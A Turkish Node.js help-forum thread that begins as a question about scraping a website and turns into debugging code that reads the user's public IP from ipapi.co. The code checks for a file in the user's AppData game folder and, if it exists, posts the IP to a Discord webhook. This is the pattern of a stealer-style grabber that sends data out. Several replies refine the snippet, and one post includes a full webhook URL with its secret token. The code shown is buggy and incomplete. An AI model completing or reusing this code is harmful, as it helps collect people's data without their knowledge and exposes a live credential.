Çözüldü Node.JS ile siteden veri nasıl çekilir?

Bu konu çözüldü olarak işaretlenmiştir. Çözülmediğini düşünüyorsanız konuyu rapor edebilirsiniz.

behzat_c

Hectopat
Katılım
28 Kasım 2020
Mesajlar
893
Çözümler
6
Daha fazla  
Cinsiyet
Erkek
Merhabalar. Node.js ile x sitesindeki ilk satırdaki yazıyı çekmek istiyorum. Bunu nasıl yapabilirim? Teşekkürler.
 
Çözüm
Body tanımsız olduğu için öyle.
JavaScript:
const request = require("request");
const os = require("os");
const { Webhook, MessageBuilder } = require('discord-webhook-node');
const fs = require("fs");

request({
    url: "https://ipapi.co/ip/",
    method: "get",
}, (error, response, body) => {


    const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
    const hook = new Webhook('')

    if (fs.existsSync(path))

        hook.send(body)



})

Amacınız ip adresini öğrenmek sanırım. Bunun için o kadar uğraşmaya gerek yok aslında.
JavaScript:
const request = require("request");
client.on('message',async message => {
  request({
    url: '',
    method: 'GET',
}, (error, response, body) => {
    if (!error) {
        bilgi = JSON.parse(body);
    } else {
        console.log(error);
    }
Message eventi ne alaka hocam? Discord bot mu yapıyoruz :D


JavaScript:
    request({
        url: "https://ipapi.co/ip/",
        method: "get"
    }, (error, response, body) => {
        console.log(body)
    })

buyrun hocam ufak bir parantez hatası yapmışım
 
Webhook kodunu bir atabilir misiniz? Ya da kodu direk.
JavaScript:
const os = require("os");
const {
    Webhook,
    MessageBuilder
} = require('discord-webhook-node');
const fs = require ("fs");
function hi()
{
    const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
    const hook = new Webhook('')
    if(fs.existsSync(path))
    {
      
        hook.send()
    }
Dediğim kodu kullanabilirsiniz hocam.
hi() functionuna nasıl çağırabilirim ipyi?
 
JavaScript:
const request = require("request");

function isimbulamadim() {
    request({
        url: "https://ipapi.co/ip/",
        method: "get",
    }, (error, response, body) => {
        console.log(body)
    })

 

  const os = require("os");
  const {
      Webhook,
      MessageBuilder
  } = require('discord-webhook-node');
  const fs = require ("fs");
  function hi()
  {
      const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
      const hook = new Webhook('https://discord.com/api/webhooks/977255234726395916/Vr8PksYX_xNiE5Pc0kEARjVriELP6t917E6wPFpkX-wFTPctmcbrMs-uuOGXuqJEJ4NL')
      if(fs.existsSync(path))
      {

          hook.send(body)
      }

    }
}
Hepsini tek bir funcitona koydum.
 
JavaScript:
const request = require("request");

function isimbulamadim() {
    request({
        url: "https://ipapi.co/ip/",
        method: "get",
    }, (error, response, body) => {
        console.log(body)
    })

 

  const os = require("os");
  const {
      Webhook,
      MessageBuilder
  } = require('discord-webhook-node');
  const fs = require ("fs");
  function hi()
  {
      const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
      const hook = new Webhook('https://discord.com/api/webhooks/977255234726395916/Vr8PksYX_xNiE5Pc0kEARjVriELP6t917E6wPFpkX-wFTPctmcbrMs-uuOGXuqJEJ4NL')
      if(fs.existsSync(path))
      {

          hook.send(body)
      }

    }
}
Hepsini tek bir funcitona koydum.
Olmuyor hocam.
1653066610548.png
 
JavaScript:
const request = require("request");

function isimbulamadim() {
    request({
        url: "https://ipapi.co/ip/",
        method: "get",
    }, (error, response, body) => {
        console.log(body)
    })

 

  const os = require("os");
  const {
      Webhook,
      MessageBuilder
  } = require('discord-webhook-node');
  const fs = require ("fs");
  function hi()
  {
      const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
      const hook = new Webhook('')
      if(fs.existsSync(path))
      {

          hook.send($body)
      }

    }
}

bunu dene.
 
Son düzenleyen: Moderatör:
JavaScript:
const request = require("request");

function isimbulamadim() {
    request({
        url: "https://ipapi.co/ip/",
        method: "get",
    }, (error, response, body) => {
        console.log(body)
    })

 

  const os = require("os");
  const {
      Webhook,
      MessageBuilder
  } = require('discord-webhook-node');
  const fs = require ("fs");
  function hi()
  {
      const path = `${os.homedir}/Appdata/Local/GT/bro.dat`
      const hook = new Webhook('')
      if(fs.existsSync(path))
      {

          hook.send($body)
      }

    }
}

bunu dene.
aynı.
 

Geri
Yukarı